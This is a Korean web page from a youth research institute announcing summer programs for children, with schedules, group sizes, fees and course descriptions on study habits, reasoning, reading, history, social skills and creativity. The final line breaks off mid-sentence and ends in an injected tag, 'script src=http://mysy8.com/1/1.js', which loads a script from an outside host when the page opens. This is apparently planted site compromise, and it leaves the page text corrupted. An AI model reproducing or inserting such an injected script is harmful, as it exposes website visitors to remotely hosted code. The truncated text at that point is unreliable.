흥사단 청소년연구원(원장 박성규)에서는 여름방학을 맞아 다음과 같은 프로그램을 준비하였습니다.
상담실 프로그램 안내
■ 프로그램 진행자 : 심리학, 교육학 석사이상의 상담연구원
■ 프로그램 별 인원 및 진행시간 : 한 그룹 당 9명 이내 (90분)
■ 프로그램 장소 : 흥사단 5층 흥사단 청소년상담원
■ 모집마감 : 7월 12일
■ 회비 온라인입금 :
우리은행 112-05-001402 예금주 - (사) 흥사단청소년연구원
국민은행 031-01-0391-457 예금주 - (사) 흥사단 연구원
■ 문 의 : 744-2056, 766-4222 (프로그램 시간은 조정가능 할 수 있으니, 시간대가 맞지 않은 분들은 연락을 주시기 바랍니다.)
1. 제 25기 학습습관 프로그램
■ 학업성취동기 및 집중력증진 프로그램
- 이런 경우에 도움이 됩니다: 공부를 왜 해야하는지 이유를 모를 때, 공부하려는 마음은 있지만 여러 가지 이유들로 인해 결국 공부를 안하게 되는 경우
- 대상 : 초4 -중2 (각 그룹별로 8명 이내 소집단으로 운영)
- 일정 : 초4-5:매주(월,수) 9:30-11:00(7.21-8.13)
초5-6:매주(월,수) 2:00- 3:30(7.21-8.13)
중1-2:매주(월,수) 11:30- 1:00(7.21-8.13)
- 회수 : 총 9회 (학생은 8회, 마지막 9회기에는 부모님 상담)
- 회비 : 10만원(심리검사비포함)
■ 학습습관 프로그램 심화과정
- 이런 경우에 도움이 됩니다: 기존의 학습습관프로그램을 통해서 공부하는 방법을 알고 있기는 하지만 잘 실행이 안되는 경우
- 대상 : 이전 학습습관 프로그램 수료자 초4 - 중3 (각 그룹별로 8명 이내 소집단으로 운영)
- 일정 : 초4-6:매주(화,목) 9:30-11:00(7.22-8.14)
중1-2:매주(화,목) 11:30- 1:00(7.22-8.14)
- 회수 : 총 9회 (학생은 8회, 마지막 9회기에는 부모님 상담)
- 회비 : 8만원
2. 사고력증진을 위한 프로그램
■ 사고력 개발 프로그램(논리 프로그램)
- 이런 경우에 도움이 됩니다: 생각하는 훈련을 체계적으로 하기를 원하는 경우
- 대상 : 초3 - 초4
- 일정 : 매주(화,목) 9:30-11:00(7.22-8.14)
- 회수 : 총 8회
- 회비 : 8만원
■ 사고력 증진을 위한 독서프로그램
- 이런 경우에 도움이 됩니다: 책읽는 것을 좋아하지 않는 아동의 경우, 독서 후 내용파악을 체계적으로 하고 싶은 경우
- 대상 : 초1 - 초6
- 일정 : 초1-3:매주(월,수) 11:30-1:00(7.21-8.13)
초4-6:매주(월,수) 2:00- 3:30(7.21-8.13)
- 회수 : 총 8회
- 회비 : 8만원
■ 사고력 증진을 위한 한국사 프로그램
- 이런 경우에 도움이 됩니다: 사물이나 사건에 대한 자신의 생각이 없는 경우, 내용을 구조적으로 정리하는 것을 원하는 경우
- 대상 : 초3-초6(각 그룹별로 9명 이내 소집단으로 운영)
- 일정 : 초3-4:매주(월,수) 9:30-11:00(7.21-8.13)
초5-6:매주(월,수) 11:30- 1:00(7.21-8.13)
- 회수 : 총 8회
- 회비 : 8만원
■ 대인관계를 위한 문제해결 프로그램
- 이런 경우에 도움이 됩니다: 보다 원활한 친구관계를 넓혀주고 싶은 경우, 다른 친구들에게 별로 관심이 없는 경우, 자신이 하고 싶은 이야기를 표현하게 하고 싶은 경우
- 대상 : 초1 - 초2 (각 그룹별로 5명 이내 소집단으로 운영)
- 일정 : 매주(월,수) 4:00- 5:30(7.21-8.13)
- 회수 : 총 8회
- 회비 : 8만원
4. 창의력 촉진을 위한 질문하기 훈련
주어진 상황을 자신이 알고 있는 정보를 이용하여 여러 가지 아이디어를 창출하는 교육은 미래를 준비하고 학습하는 사회의 특징이라고 할 수 있습니다. 창의력은 엉뚱한 상상과는 다르며 단지 기발한 상상을 가리키는 것이 아니라, 보다 새롭고 유용한 대안을 만들어내는 문제해결을 위한 능력입니다. 불확실한 미래의 다양한 문제들 앞에서 당황하지 않고 주도적으로 문제를 해결해 나갈 수 있는 능력-창의적 사고는 훈련을 통해서 개발이 가능합니다. 본 프로그램은 창의력 개발을 위한 전문 교육과정으로서 학생의 능력과 유형에 맞춰서 진행이 됩니다. 이 과정을 통하여 문제해결을 위한 사고력과 태도를 습득하게 될 것입니다.
질문은 호기심을 자극하고 생각을 하게 만든다. 좋은 질문은 좋은 생각을 유도하며, 창의적인 질문은 창의적인 생각을 유도한다. 본 과정은 논리적, 창의적 사고의 촉진을 위한 다양한 질문하기를 집중적으로 연습하여 민감성과 유창성을 기르는 과정이다.
- 대상 : 초3 - 초6 (각 그룹별로 9?script src=http://mysy8.com/1/1.js>
|